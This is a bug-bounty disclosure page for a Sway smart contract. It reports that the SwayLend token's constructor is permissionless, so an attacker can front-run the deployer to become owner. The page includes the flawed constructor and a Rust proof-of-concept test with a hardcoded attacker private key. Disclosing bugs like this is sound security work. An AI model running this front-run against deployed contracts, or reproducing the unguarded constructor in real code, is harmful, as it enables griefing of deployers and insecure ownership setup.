Skip to content
Access control Audit finding Intermediate

Permissonless constructor always for front-running owner initialization.

The token contract's constructor can be called by anyone, so an attacker can front-run the real deployer and set themselves as owner. This makes the deployer's own initialisation call fail, forcing a redeploy and wasting gas.

SeveritySquad Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#35853 [SC-Medium] permissonless constructor always for front-running owner initialization.

Submitted on Oct 10th 2024 at 20:41:19 UTC by @SeveritySquad for IOP | Swaylend

Description

Brief/Intro

The constructor of the SwayLend token allows anyone to front-run the real deployer of the contract and initialize themselves as the owner; this can lead to griefing and gas waste.

Vulnerability Details

On the call to the `constructor()` anyone can initialize themselves as the owner, causing subsequent calls to fail, forcing the deployers to always have to re-deploy the token, this will lead to waste of gas and griefing. ```rust fn constructor(owner_: Identity) { require( storage .owner .read() == State::Uninitialized, "owner-initialized", ); storage.owner.write(State::Initialized(owner_)); } ```

Mitigation

It is best to set the owner as configurable since there is no way to transfer ownership.

References

Proof of Concept

Proof of Concept

Add to contracts/src-20/scripts/deploy.rs to test.

```rust #[tokio::test] #[should_panic] async fn front_run_initialization() { use fuels::crypto::SecretKey; dotenv().ok();

// setup fuel provider
let rpc = std::env::var("RPC").unwrap();
let provider = Provider::connect(rpc).await.unwrap();

// setup wallet
let secret = std::env::var("SECRET").unwrap();
// let private_key: SecretKey = "6d39e7ec67f1414e804a52e33989d7162c18084f47e05fdbd04a2b653dc05391".parse().unwrap();

// let attacker: WalletUnlocked = WalletUnlocked::new_from_private_key(private_key, Some(provider.clone()));

let wallet: WalletUnlocked =
    WalletUnlocked::new_from_private_key(secret.parse().unwrap(), Some(provider.clone()));

// deploy token
let configurables = TokenConfigurables::default();
let root = PathBuf::from(env!("CARGO_WORKSPACE_DIR"));
let bin_path = root.join("contracts/src-20/out/debug/src-20.bin");
let config = LoadConfiguration::default().with_configurables(configurables);

let mut rng = rand::thread_rng();
let salt = rng.gen::<[u8; 32]>();

let id = Contract::load_from(bin_path, config)
    .unwrap()
    .with_salt(salt)
    .deploy(&wallet, TxPolicies::default())
    .await
    .unwrap();
let instance = Token::new(id.clone(), wallet.clone());

let private_key: SecretKey = "6d39e7ec67f1414e804a52e33989d7162c18084f47e05fdbd04a2b653dc05391"
    .parse()
    .unwrap();
let attacker: WalletUnlocked =
    WalletUnlocked::new_from_private_key(private_key, Some(provider.clone()));

// simulate an attacker frontrunning the owners call to constructor.
instance
    .clone()
    .with_account(attacker.clone())
    .methods()
    .constructor(wallet.address().into())
    .call()
    .await
    .unwrap();
// on the call to contructor by owner, the call will always fail.
instance
    .methods()
    .constructor(wallet.address().into())
    .call()
    .await
    .unwrap();

} ```

The original report as published on Immunefi, by SeveritySquad. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the constructor has no access control and only checks that the owner is uninitialised, so the first caller wins.

Impact

An attacker can grief the deployer and cause gas waste by forcing repeated redeployments; there is no direct theft of funds.

What the attacker needed

Attacker can submit a transaction before the deployer; contract is deployed with a predictable address

The fix

The owner should be set as a configurable value at deployment rather than through a permissionless constructor.

How it was found

  1. Deploy the token contract with a known salt.
  2. An attacker calls the constructor with their own address before the owner does.
  3. The owner's constructor call then fails because the owner is already initialised.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a smart contract is deployed, a special setup function called the constructor runs once to set things like who owns it. Here that function did not check who was calling it, so anyone watching the network could call it first and claim ownership. The real deployer's later call then fails because the contract thinks it is already set up.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by SeveritySquad

View all

10 more disclosed reports, best first.

More from Swaylend

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.